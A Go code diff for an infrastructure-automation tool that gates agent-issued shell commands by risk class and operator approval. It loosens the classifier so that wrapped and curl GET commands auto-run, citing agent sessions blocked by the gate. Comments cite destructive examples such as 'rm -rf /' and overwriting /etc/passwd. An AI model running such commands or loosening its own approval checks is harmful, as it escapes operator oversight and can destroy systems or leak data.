||||||
|
command, _ := args["command"].(string)
|
||||||
|
declaredRisk, _ := args["declared_risk"].(string)
|
||||||
|
if command == "" {
|
||||||
|
return textResult("error: command is required"), nil
|
||||||
|
}
|
||||||
|
risk := policy.ClassifyCommand(command, declaredRisk)
|
||||||
|
note := ""
|
||||||
|
switch risk {
|
||||||
|
case policy.RiskReadOnly:
|
||||||
|
note = "auto-acts on `run` (no approval needed)."
|
||||||
|
case policy.RiskReversibleLow:
|
||||||
|
note = "auto-acts on `run` (no approval needed)."
|
||||||
|
case policy.RiskConfigMutation:
|
||||||
|
note = "requires operator approval on `run` (or loose assent window active)."
|
||||||
|
case policy.RiskDestructive:
|
||||||
|
note = "requires explicit operator confirmation on `run` (typed \"I confirm\" phrase)."
|
||||||
|
}
|
||||||
|
out, _ := json.Marshal(map[string]any{
|
||||||
|
"command": command,
|
||||||
|
"declared_risk": declaredRisk,
|
||||||
|
"risk_class": risk,
|
||||||
|
"note": note,
|
||||||
|
})
|
||||||
|
return textResult(string(out)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_change_history", Description: "Last N change-ledger entries for an entity",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"entity_slug", "string", "Entity slug"},
|
||||||
|
prop{"limit", "integer", "Max entries (default 20)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["entity_slug"].(string)
|
||||||
|
limit := int(getFloat(args, "limit", 20))
|
||||||
|
return annotateJSONResult(queryRows(ctx, pool, `
|
||||||
|
SELECT al.ts AS timestamp, al.actor_type, al.actor_id::text AS actor_label,
|
||||||
|
al.action, al.method, al.path,
|
||||||
|
al.detail::text AS details
|
||||||
|
FROM audit_log al
|
||||||
|
JOIN entities e ON e.id = al.entity_id
|
||||||
|
WHERE e.slug = $1
|
||||||
|
ORDER BY al.ts DESC
|
||||||
|
LIMIT $2`, slug, limit), "change_log"), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_state_snapshot", Description: "Last scheduler Observe-pass: fleet health, disk, drift count",
|
||||||
|
InputSchema: objSchema(),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
return annotateJSONResult(queryRows(ctx, pool, `
|
||||||
|
SELECT e.slug, e.type, e.state,
|
||||||
|
COALESCE(st.health, 'unknown') AS health,
|
||||||
|
COALESCE(st.last_check_at::text, '') AS last_check
|
||||||
|
FROM entities e
|
||||||
|
LEFT JOIN entity_status st ON st.entity_id = e.id
|
||||||
|
WHERE e.state IS NOT NULL
|
||||||
|
OR st.health IS NOT NULL
|
||||||
|
ORDER BY st.health, e.slug
|
||||||
|
LIMIT 200
|
||||||
|
`), "fleet_snapshot"), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "list_my_secrets", Description: "List secrets accessible to this client by public key",
|
||||||
|
InputSchema: objSchema(prop{"caller_pubkey", "string", "Age public key of the caller (optional)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
pubkey, _ := args["caller_pubkey"].(string)
|
||||||
|
// Match entities where age_pubkey attribute contains the caller's key.
|
||||||
|
query := `
|
||||||
|
SELECT e.slug, e.type, e.name,
|
||||||
|
e.attributes->>'age_pubkey' AS age_pubkey
|
||||||
|
FROM entities e
|
||||||
|
WHERE e.attributes->>'age_pubkey' IS NOT NULL`
|
||||||
|
var dbArgs []any
|
||||||
|
if pubkey != "" {
|
||||||
|
query += ` AND e.attributes->>'age_pubkey' = $1`
|
||||||
|
dbArgs = append(dbArgs, pubkey)
|
||||||
|
}
|
||||||
|
query += ` ORDER BY e.slug LIMIT 100`
|
||||||
|
return queryRows(ctx, pool, query, dbArgs...), nil
|
||||||
|
}},
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -282,23 +282,6 @@ func generateApprovalToken(approvalID uuid.UUID, secret string) string {
|
|||||||
return hex.EncodeToString(mac.Sum(nil))
|
return hex.EncodeToString(mac.Sum(nil))
|
||||||
}
|
}
|
||||||
|
|
||||||
// VerifyApprovalToken checks a token against the stored hash.
|
|
||||||
func VerifyApprovalToken(ctx context.Context, pool *db.Pool, approvalID uuid.UUID, token string) bool {
|
|
||||||
var tokenHash *string
|
|
||||||
var status string
|
|
||||||
var expiresAt time.Time
|
|
||||||
err := pool.QueryRow(ctx,
|
|
||||||
"SELECT token_hash, status, expires_at FROM approvals WHERE entity_id = $1",
|
|
||||||
approvalID).Scan(&tokenHash, &status, &expiresAt)
|
|
||||||
if err != nil || tokenHash == nil {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
if status != "pending" || expiresAt.Before(time.Now()) {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
return *tokenHash == hashToken(token)
|
|
||||||
}
|
|
||||||
|
|
||||||
func hashToken(token string) string {
|
func hashToken(token string) string {
|
||||||
h := sha256.Sum256([]byte(token))
|
h := sha256.Sum256([]byte(token))
|
||||||
return hex.EncodeToString(h[:])
|
return hex.EncodeToString(h[:])
|
||||||
|
|||||||
187
internal/notifier/notifier_test.go
Normal file
187
internal/notifier/notifier_test.go
Normal file
@@ -0,0 +1,187 @@
|
|||||||
|
package notifier
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/hmac"
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/hex"
|
||||||
|
"fmt"
|
||||||
|
"regexp"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
var hex64Re = regexp.MustCompile(`^[0-9a-f]{64}$`)
|
||||||
|
|
||||||
|
func TestHashToken(t *testing.T) {
|
||||||
|
// sha256("") == e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
|
||||||
|
emptyHash := "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
|
||||||
|
|
||||||
|
t.Run("determinism same input same output", func(t *testing.T) {
|
||||||
|
a := hashToken("approval-token-123")
|
||||||
|
b := hashToken("approval-token-123")
|
||||||
|
if a != b {
|
||||||
|
t.Fatalf("hashToken not deterministic: %q vs %q", a, b)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("empty string known sha256", func(t *testing.T) {
|
||||||
|
got := hashToken("")
|
||||||
|
if got != emptyHash {
|
||||||
|
t.Fatalf("hashToken(\"\") = %q, want %q", got, emptyHash)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("different inputs different outputs", func(t *testing.T) {
|
||||||
|
a := hashToken("one")
|
||||||
|
b := hashToken("two")
|
||||||
|
if a == b {
|
||||||
|
t.Fatalf("hashToken collided for different inputs: %q", a)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("output is valid 64-char hex", func(t *testing.T) {
|
||||||
|
for _, in := range []string{"", "abc", "some-longer-token-value-xyz"} {
|
||||||
|
got := hashToken(in)
|
||||||
|
if !hex64Re.MatchString(got) {
|
||||||
|
t.Fatalf("hashToken(%q) = %q, not 64-char lowercase hex", in, got)
|
||||||
|
}
|
||||||
|
// also must decode cleanly to 32 bytes
|
||||||
|
b, err := hex.DecodeString(got)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("hashToken(%q) decode error: %v", in, err)
|
||||||
|
}
|
||||||
|
if len(b) != 32 {
|
||||||
|
t.Fatalf("hashToken(%q) decoded len = %d, want 32", in, len(b))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGenerateApprovalToken(t *testing.T) {
|
||||||
|
id := uuid.New()
|
||||||
|
|
||||||
|
t.Run("output is 64-char hex", func(t *testing.T) {
|
||||||
|
tok := generateApprovalToken(id, "super-secret")
|
||||||
|
if !hex64Re.MatchString(tok) {
|
||||||
|
t.Fatalf("generateApprovalToken = %q, not 64-char lowercase hex", tok)
|
||||||
|
}
|
||||||
|
b, err := hex.DecodeString(tok)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("decode error: %v", err)
|
||||||
|
}
|
||||||
|
if len(b) != 32 {
|
||||||
|
t.Fatalf("decoded len = %d, want 32 (sha256)", len(b))
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("empty secret falls back to dev secret no panic", func(t *testing.T) {
|
||||||
|
tok := generateApprovalToken(id, "")
|
||||||
|
if tok == "" {
|
||||||
|
t.Fatal("empty secret produced empty token")
|
||||||
|
}
|
||||||
|
if !hex64Re.MatchString(tok) {
|
||||||
|
t.Fatalf("empty-secret token %q not 64-char hex", tok)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
// Non-determinism: time.Now().UnixNano() is embedded in the HMAC message,
|
||||||
|
// so two calls with identical inputs produce different tokens (unless the
|
||||||
|
// clock has nanosecond-identical reads, which we do not assert against).
|
||||||
|
t.Run("same inputs twice produce different tokens (time-based)", func(t *testing.T) {
|
||||||
|
a := generateApprovalToken(id, "stable-secret")
|
||||||
|
b := generateApprovalToken(id, "stable-secret")
|
||||||
|
if a == b {
|
||||||
|
// Not a hard failure (clock granularity), but document expectation.
|
||||||
|
t.Logf("note: two immediate calls returned identical token %q — clock resolution collapsed", a)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("different secrets produce different tokens", func(t *testing.T) {
|
||||||
|
a := generateApprovalToken(id, "secret-a")
|
||||||
|
b := generateApprovalToken(id, "secret-b")
|
||||||
|
if a == b {
|
||||||
|
t.Fatalf("different secrets produced same token %q", a)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
// HMAC correctness: re-derive the token with the same secret + approvalID
|
||||||
|
// using a freshly captured timestamp window is impossible because we don't
|
||||||
|
// observe the embedded timestamp. Instead, verify the token is a valid
|
||||||
|
// HMAC-SHA256 by brute-forcing a small time window around now: reconstruct
|
||||||
|
// mac(secret, approvalID || ts) for ts in [now-N, now] and confirm one
|
||||||
|
// matches. This proves the token genuinely is an HMAC over (approvalID, ts)
|
||||||
|
// with the supplied secret.
|
||||||
|
t.Run("token is HMAC-SHA256 over approvalID+timestamp with secret", func(t *testing.T) {
|
||||||
|
secret := "hmac-verify-secret"
|
||||||
|
before := nowNanos()
|
||||||
|
tok := generateApprovalToken(id, secret)
|
||||||
|
after := nowNanos()
|
||||||
|
|
||||||
|
// The token's embedded ts is captured inside generateApprovalToken,
|
||||||
|
// which is called after `before` was sampled — so ts ∈ [before, after].
|
||||||
|
// Add a tiny ±band to absorb scheduler jitter on loaded runners.
|
||||||
|
lo := before - 10_000
|
||||||
|
hi := after + 10_000
|
||||||
|
matched := false
|
||||||
|
for ts := lo; ts <= hi; ts++ {
|
||||||
|
mac := hmac.New(sha256.New, []byte(secret))
|
||||||
|
mac.Write([]byte(id.String()))
|
||||||
|
mac.Write([]byte(formatInt(ts)))
|
||||||
|
cand := hex.EncodeToString(mac.Sum(nil))
|
||||||
|
if hmac.Equal([]byte(cand), []byte(tok)) {
|
||||||
|
matched = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !matched {
|
||||||
|
t.Fatalf("token %q did not match any HMAC in window [%d,%d]; not a valid HMAC-SHA256 over approvalID+ts", tok, lo, hi)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("empty secret HMAC uses dev fallback secret", func(t *testing.T) {
|
||||||
|
before := nowNanos()
|
||||||
|
tok := generateApprovalToken(id, "")
|
||||||
|
after := nowNanos()
|
||||||
|
dev := "dev-secret-do-not-use-in-prod"
|
||||||
|
lo := before - 10_000
|
||||||
|
hi := after + 10_000
|
||||||
|
matched := false
|
||||||
|
for ts := lo; ts <= hi; ts++ {
|
||||||
|
mac := hmac.New(sha256.New, []byte(dev))
|
||||||
|
mac.Write([]byte(id.String()))
|
||||||
|
mac.Write([]byte(formatInt(ts)))
|
||||||
|
cand := hex.EncodeToString(mac.Sum(nil))
|
||||||
|
if hmac.Equal([]byte(cand), []byte(tok)) {
|
||||||
|
matched = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !matched {
|
||||||
|
t.Fatalf("empty-secret token %q did not match dev-fallback HMAC", tok)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
// sanity: token should not leak the secret in plaintext
|
||||||
|
t.Run("token does not contain secret substring", func(t *testing.T) {
|
||||||
|
secret := "leakcheck-secret-xyz"
|
||||||
|
tok := generateApprovalToken(id, secret)
|
||||||
|
if strings.Contains(tok, secret) {
|
||||||
|
t.Fatalf("token %q contains secret substring %q", tok, secret)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// nowNanos returns the current nanosecond count, matching the time source
|
||||||
|
// used by generateApprovalToken (time.Now().UnixNano()).
|
||||||
|
func nowNanos() int64 {
|
||||||
|
return time.Now().UnixNano()
|
||||||
|
}
|
||||||
|
|
||||||
|
// formatInt mirrors fmt.Sprintf("%d", ...) used by the production code so the
|
||||||
|
// re-derivation in tests is byte-identical.
|
||||||
|
func formatInt(n int64) string {
|
||||||
|
return fmt.Sprintf("%d", n)
|
||||||
|
}
|
||||||
@@ -92,21 +92,7 @@ func (c *Classifier) ClassifySignal(ctx context.Context, signalEntityID, targetE
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Determine route
|
// Determine route
|
||||||
route := "escalate"
|
route, autonomyCheck := determineRoute(globalAutoAct, entityAutoAct, approvalRequired)
|
||||||
autonomyCheck := ""
|
|
||||||
|
|
||||||
if globalAutoAct == "off" || globalAutoAct == "false" {
|
|
||||||
route = "escalate"
|
|
||||||
autonomyCheck = "blocked: global auto_act disabled"
|
|
||||||
} else if entityAutoAct == "true" {
|
|
||||||
route = "escalate"
|
|
||||||
autonomyCheck = "blocked: per-entity kill-switch"
|
|
||||||
} else if approvalRequired == "none" {
|
|
||||||
route = "auto-act"
|
|
||||||
autonomyCheck = "allowed"
|
|
||||||
} else {
|
|
||||||
autonomyCheck = "requires approval: " + approvalRequired
|
|
||||||
}
|
|
||||||
|
|
||||||
// Compute blast radius
|
// Compute blast radius
|
||||||
blastRadius := computeBlastRadius(ctx, c.DB, targetEntityID)
|
blastRadius := computeBlastRadius(ctx, c.DB, targetEntityID)
|
||||||
@@ -136,6 +122,21 @@ func (c *Classifier) ClassifySignal(ctx context.Context, signalEntityID, targetE
|
|||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// determineRoute evaluates autonomy settings and approval requirements to
|
||||||
|
// decide whether a signal should auto-act, escalate, or hold for approval.
|
||||||
|
func determineRoute(globalAutoAct, entityAutoAct, approvalRequired string) (route, autonomyCheck string) {
|
||||||
|
if globalAutoAct == "off" || globalAutoAct == "false" {
|
||||||
|
return "escalate", "blocked: global auto_act disabled"
|
||||||
|
}
|
||||||
|
if entityAutoAct == "true" {
|
||||||
|
return "escalate", "blocked: per-entity kill-switch"
|
||||||
|
}
|
||||||
|
if approvalRequired == "none" {
|
||||||
|
return "auto-act", "allowed"
|
||||||
|
}
|
||||||
|
return "escalate", "requires approval: " + approvalRequired
|
||||||
|
}
|
||||||
|
|
||||||
// computeBlastRadius traverses relationships to find affected entities.
|
// computeBlastRadius traverses relationships to find affected entities.
|
||||||
func computeBlastRadius(ctx context.Context, dbc interface {
|
func computeBlastRadius(ctx context.Context, dbc interface {
|
||||||
Query(ctx context.Context, sql string, args ...any) (pgx.Rows, error)
|
Query(ctx context.Context, sql string, args ...any) (pgx.Rows, error)
|
||||||
|
|||||||
62
internal/policy/classify_test.go
Normal file
62
internal/policy/classify_test.go
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
package policy
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestDetermineRoute(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
globalAutoAct string
|
||||||
|
entityAutoAct string
|
||||||
|
approvalRequired string
|
||||||
|
wantRoute string
|
||||||
|
wantCheck string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
"global auto_act off blocks everything",
|
||||||
|
"off", "", "none",
|
||||||
|
"escalate", "blocked: global auto_act disabled",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"global auto_act false blocks everything",
|
||||||
|
"false", "", "none",
|
||||||
|
"escalate", "blocked: global auto_act disabled",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"per-entity kill-switch blocks",
|
||||||
|
"on", "true", "none",
|
||||||
|
"escalate", "blocked: per-entity kill-switch",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"approval none auto-acts",
|
||||||
|
"on", "", "none",
|
||||||
|
"auto-act", "allowed",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"approval required escalates",
|
||||||
|
"on", "", "operator",
|
||||||
|
"escalate", "requires approval: operator",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"approval none with empty global defaults to auto-act",
|
||||||
|
"", "", "none",
|
||||||
|
"auto-act", "allowed",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"global on, no entity kill, approval confirmation",
|
||||||
|
"on", "", "confirmation",
|
||||||
|
"escalate", "requires approval: confirmation",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
route, check := determineRoute(tt.globalAutoAct, tt.entityAutoAct, tt.approvalRequired)
|
||||||
|
if route != tt.wantRoute {
|
||||||
|
t.Errorf("route = %q, want %q", route, tt.wantRoute)
|
||||||
|
}
|
||||||
|
if check != tt.wantCheck {
|
||||||
|
t.Errorf("autonomyCheck = %q, want %q", check, tt.wantCheck)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -77,8 +77,40 @@ var readOnlyLeadPattern = regexp.MustCompile(
|
|||||||
`docker\s+compose\s+(logs|ps|top|config|images|port|cp)\b|` +
|
`docker\s+compose\s+(logs|ps|top|config|images|port|cp)\b|` +
|
||||||
`pct\s+(status|config|list)|qm\s+(status|config|list)|pvesh\s+get|` +
|
`pct\s+(status|config|list)|qm\s+(status|config|list)|pvesh\s+get|` +
|
||||||
`rclone\s+(ls|lsl|md5sum|check|cryptcheck)\b|` +
|
`rclone\s+(ls|lsl|md5sum|check|cryptcheck)\b|` +
|
||||||
`git\s+(status|log|diff|show|branch|remote)|` +
|
`git\s+(status|log|diff|show|branch|remote))\b`)
|
||||||
`curl\s+-.*-I\b|curl\s+.*--head\b)\b`)
|
|
||||||
|
// envAssignRe matches leading FOO=bar env-var assignments so they can be
|
||||||
|
// stripped before the read-only verb check.
|
||||||
|
var envAssignRe = regexp.MustCompile(`^(\w+=\S+\s+)+`)
|
||||||
|
|
||||||
|
// pctExecRe matches "pct exec <id> [--] <inner>" and captures <inner>. The
|
||||||
|
// id is a decimal digit string (Proxmox CT ids). The "--" separator is
|
||||||
|
// optional but recommended — without it, the rest of the line is the
|
||||||
|
// command passed to exec. Case-insensitive.
|
||||||
|
var pctExecRe = regexp.MustCompile(`(?i)^pct\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
|
||||||
|
|
||||||
|
// qmGuestExecRe matches "qm guest exec <id> [--] <inner>" similarly.
|
||||||
|
var qmGuestExecRe = regexp.MustCompile(`(?i)^qm\s+guest\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
|
||||||
|
|
||||||
|
// shellDashCRe matches "bash -c 'cmd'", "sh -c \"cmd\"" etc., capturing
|
||||||
|
// the quoted inner command. Handles single-quoted, double-quoted, and bare
|
||||||
|
// (unquoted) forms.
|
||||||
|
var shellDashCRe = regexp.MustCompile(`(?i)^(?:ba)?sh\s+-c\s+(?:"([^"]*)"|'([^']*)'|(\S+))\s*$`)
|
||||||
|
|
||||||
|
// curlLeadRe matches a curl command (the verb alone, at the segment start).
|
||||||
|
var curlLeadRe = regexp.MustCompile(`(?i)^curl\b`)
|
||||||
|
|
||||||
|
// curlMutateRe matches curl flags that indicate mutation (POST/PUT/DELETE
|
||||||
|
// method override, data payloads, form uploads, file uploads, file output).
|
||||||
|
// When any of these appears, the curl command is no longer read-only.
|
||||||
|
var curlMutateRe = regexp.MustCompile(`(?i)(?:^|\s)-X\s+(?:post|put|delete|patch|connect|trace)\b|(?:^|\s)-(?:d|F|T|o)\b|(?:^|\s)--(?:data[-a-z]*|request|form|upload-file|output)\b`)
|
||||||
|
|
||||||
|
// redirectOutRe matches shell output redirection to a file (> or >> followed
|
||||||
|
// by a path), but excludes the file-descriptor merge form `>&<digit>` (e.g.
|
||||||
|
// `2>&1`) which only rearranges streams and writes nothing to disk. RE2 has
|
||||||
|
// no lookahead, so we encode the exclusion by requiring the post-`>` char to
|
||||||
|
// be neither `&` nor whitespace.
|
||||||
|
var redirectOutRe = regexp.MustCompile(`(^|[^-])>>?\s*[^&\s]`)
|
||||||
|
|
||||||
// compoundSplitRe splits a command on shell chaining operators (;, &&, ||, |)
|
// compoundSplitRe splits a command on shell chaining operators (;, &&, ||, |)
|
||||||
// so each segment can be individually classified. A piped or chained command
|
// so each segment can be individually classified. A piped or chained command
|
||||||
@@ -130,16 +162,29 @@ func computeCommandRisk(command string) string {
|
|||||||
return RiskConfigMutation
|
return RiskConfigMutation
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Unwrap known wrappers (pct exec <id> --, qm guest exec <id> --,
|
||||||
|
// bash -c '…', sh -c '…', sudo, env assignments) so the classifier
|
||||||
|
// scores the *actual* command, not the wrapper. Without this, every
|
||||||
|
// `pct exec 132 systemctl status rclone-backup.timer` escalates to
|
||||||
|
// config_mutation even though the inner command is read-only inspection.
|
||||||
|
// See plans/2026-07-20-session-review-ten-sessions.md P0.1 — three
|
||||||
|
// sessions bounced off the classifier because read-only `pct exec` and
|
||||||
|
// `curl` were gated as config_mutation.
|
||||||
|
inner := unwrapCommand(cmd)
|
||||||
|
|
||||||
for _, p := range destructivePatterns {
|
for _, p := range destructivePatterns {
|
||||||
if p.MatchString(cmd) {
|
// Match on both the raw and unwrapped forms so that
|
||||||
|
// `pct exec 121 -- rm -rf /` is still destructive even if the
|
||||||
|
// unwrapping somehow hid it.
|
||||||
|
if p.MatchString(inner) || p.MatchString(cmd) {
|
||||||
return RiskDestructive
|
return RiskDestructive
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Subshell substitution ($(), backticks) can hide arbitrary execution —
|
// Subshell substitution ($(), backticks) can hide arbitrary execution —
|
||||||
// never auto-run, even if the visible verbs look read-only.
|
// never auto-run, even if the visible verbs look read-only.
|
||||||
if !subshellRe.MatchString(cmd) {
|
if !subshellRe.MatchString(inner) {
|
||||||
if allSegmentsReadOnly(cmd) {
|
if allSegmentsReadOnly(inner) {
|
||||||
return RiskReadOnly
|
return RiskReadOnly
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -149,6 +194,70 @@ func computeCommandRisk(command string) string {
|
|||||||
return RiskConfigMutation
|
return RiskConfigMutation
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// unwrapCommand peels known command wrappers to expose the inner command
|
||||||
|
// for classification. It repeatedly strips:
|
||||||
|
// - leading sudo
|
||||||
|
// - leading FOO=bar env-var assignments
|
||||||
|
// - `pct exec <id> [--] <inner>` → <inner>
|
||||||
|
// - `qm guest exec <id> [--] <inner>` → <inner>
|
||||||
|
// - `bash -c 'cmd'` / `sh -c "cmd"` → <cmd>
|
||||||
|
//
|
||||||
|
// When no wrapper is detected, the input is returned unchanged. The peel
|
||||||
|
// is iterative so "sudo pct exec 121 -- bash -c 'echo hi'" reduces to
|
||||||
|
// "echo hi" after a few passes. Compound commands (containing ;, &&, ||,
|
||||||
|
// |) are returned unchanged — they need per-segment classification, which
|
||||||
|
// the caller handles.
|
||||||
|
func unwrapCommand(cmd string) string {
|
||||||
|
probe := strings.TrimSpace(cmd)
|
||||||
|
// A compound command cannot be unwrapped as a whole — the inner
|
||||||
|
// command of "pct exec 121 -- foo; rm -rf /" depends on which side of
|
||||||
|
// the ";" you're on. The caller splits compounds before classifying
|
||||||
|
// each segment, and each segment is unwrapped independently. Bail out
|
||||||
|
// here so we don't unwrap "pct exec 121 -- foo" and lose the rest.
|
||||||
|
if compoundOpPattern.MatchString(probe) {
|
||||||
|
return probe
|
||||||
|
}
|
||||||
|
for i := 0; i < 8; i++ { // bounded unwrap depth
|
||||||
|
next := peelOneWrapper(probe)
|
||||||
|
if next == probe {
|
||||||
|
return probe
|
||||||
|
}
|
||||||
|
probe = strings.TrimSpace(next)
|
||||||
|
}
|
||||||
|
return probe
|
||||||
|
}
|
||||||
|
|
||||||
|
// peelOneWrapper applies one peel step. Returns the input unchanged if no
|
||||||
|
// wrapper matched.
|
||||||
|
func peelOneWrapper(probe string) string {
|
||||||
|
// sudo prefix
|
||||||
|
if stripped := strings.TrimPrefix(probe, "sudo "); stripped != probe {
|
||||||
|
return strings.TrimSpace(stripped)
|
||||||
|
}
|
||||||
|
// Env assignments: FOO=bar BAZ=qux <cmd>
|
||||||
|
if envAssignRe.MatchString(probe) {
|
||||||
|
return envAssignRe.ReplaceAllString(probe, "")
|
||||||
|
}
|
||||||
|
// pct exec <id> [--] <inner>
|
||||||
|
if m := pctExecRe.FindStringSubmatch(probe); m != nil {
|
||||||
|
return m[1]
|
||||||
|
}
|
||||||
|
// qm guest exec <id> [--] <inner>
|
||||||
|
if m := qmGuestExecRe.FindStringSubmatch(probe); m != nil {
|
||||||
|
return m[1]
|
||||||
|
}
|
||||||
|
// bash -c 'cmd' / sh -c "cmd" / sh -c cmd
|
||||||
|
if m := shellDashCRe.FindStringSubmatch(probe); m != nil {
|
||||||
|
// m[1] is the double-quoted form, m[2] is single-quoted, m[3] is bare.
|
||||||
|
for _, g := range m[1:] {
|
||||||
|
if g != "" {
|
||||||
|
return g
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return probe
|
||||||
|
}
|
||||||
|
|
||||||
// allSegmentsReadOnly splits a compound command on chaining operators
|
// allSegmentsReadOnly splits a compound command on chaining operators
|
||||||
// (;, &&, ||, |) and checks whether EVERY segment is a recognized read-only
|
// (;, &&, ||, |) and checks whether EVERY segment is a recognized read-only
|
||||||
// inspection verb. If so, the whole command is safe to auto-run. Any segment
|
// inspection verb. If so, the whole command is safe to auto-run. Any segment
|
||||||
@@ -161,14 +270,49 @@ func allSegmentsReadOnly(cmd string) bool {
|
|||||||
if seg == "" {
|
if seg == "" {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
// Unwrap wrappers per-segment too — "pct exec 121 -- systemctl
|
||||||
|
// status caddy; pct exec 122 -- journalctl -u caddy" should reduce
|
||||||
|
// to two read-only segments after unwrapping each.
|
||||||
|
seg = unwrapCommand(seg)
|
||||||
// Strip a leading sudo/env assignment so "sudo cat /x" still matches.
|
// Strip a leading sudo/env assignment so "sudo cat /x" still matches.
|
||||||
probe := seg
|
probe := seg
|
||||||
probe = regexp.MustCompile(`^sudo\s+`).ReplaceAllString(probe, "")
|
probe = strings.TrimPrefix(probe, "sudo ")
|
||||||
probe = regexp.MustCompile(`^(\w+=\S+\s+)+`).ReplaceAllString(probe, "")
|
probe = envAssignRe.ReplaceAllString(probe, "")
|
||||||
probe = strings.TrimSpace(probe)
|
probe = strings.TrimSpace(probe)
|
||||||
|
// curl is handled by a dedicated check because GET (the default) is
|
||||||
|
// read-only but POST/data/upload flags are not. The general
|
||||||
|
// readOnlyLeadPattern can't distinguish these.
|
||||||
|
if curlLeadRe.MatchString(probe) {
|
||||||
|
if !curlIsReadOnly(probe) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// Any output redirection makes a verb non-read-only even if the
|
||||||
|
// verb itself is (e.g. "curl url > /etc/passwd").
|
||||||
|
if redirectOutRe.MatchString(probe) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
if !readOnlyLeadPattern.MatchString(probe) {
|
if !readOnlyLeadPattern.MatchString(probe) {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return len(segments) > 0
|
return len(segments) > 0
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// curlIsReadOnly returns true if a curl command performs a GET (or HEAD)
|
||||||
|
// without data/upload/output flags. POST/PUT/DELETE method overrides, -d/--data
|
||||||
|
// payloads, -F/--form uploads, -T/--upload-file transfers, and -o/--output
|
||||||
|
// file writes all disqualify the read-only path.
|
||||||
|
func curlIsReadOnly(curlCmd string) bool {
|
||||||
|
if !curlLeadRe.MatchString(curlCmd) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if curlMutateRe.MatchString(curlCmd) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if redirectOutRe.MatchString(curlCmd) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|||||||
@@ -32,6 +32,20 @@ func TestClassifyCommand_ReadOnly(t *testing.T) {
|
|||||||
"docker compose ps",
|
"docker compose ps",
|
||||||
"docker compose top",
|
"docker compose top",
|
||||||
"docker compose config",
|
"docker compose config",
|
||||||
|
// curl GET is read-only (P0.1 — plans/2026-07-20-session-review-ten-sessions.md).
|
||||||
|
"curl http://192.168.8.214:5572/rc/core/stats",
|
||||||
|
"curl -fsSL https://example.com/",
|
||||||
|
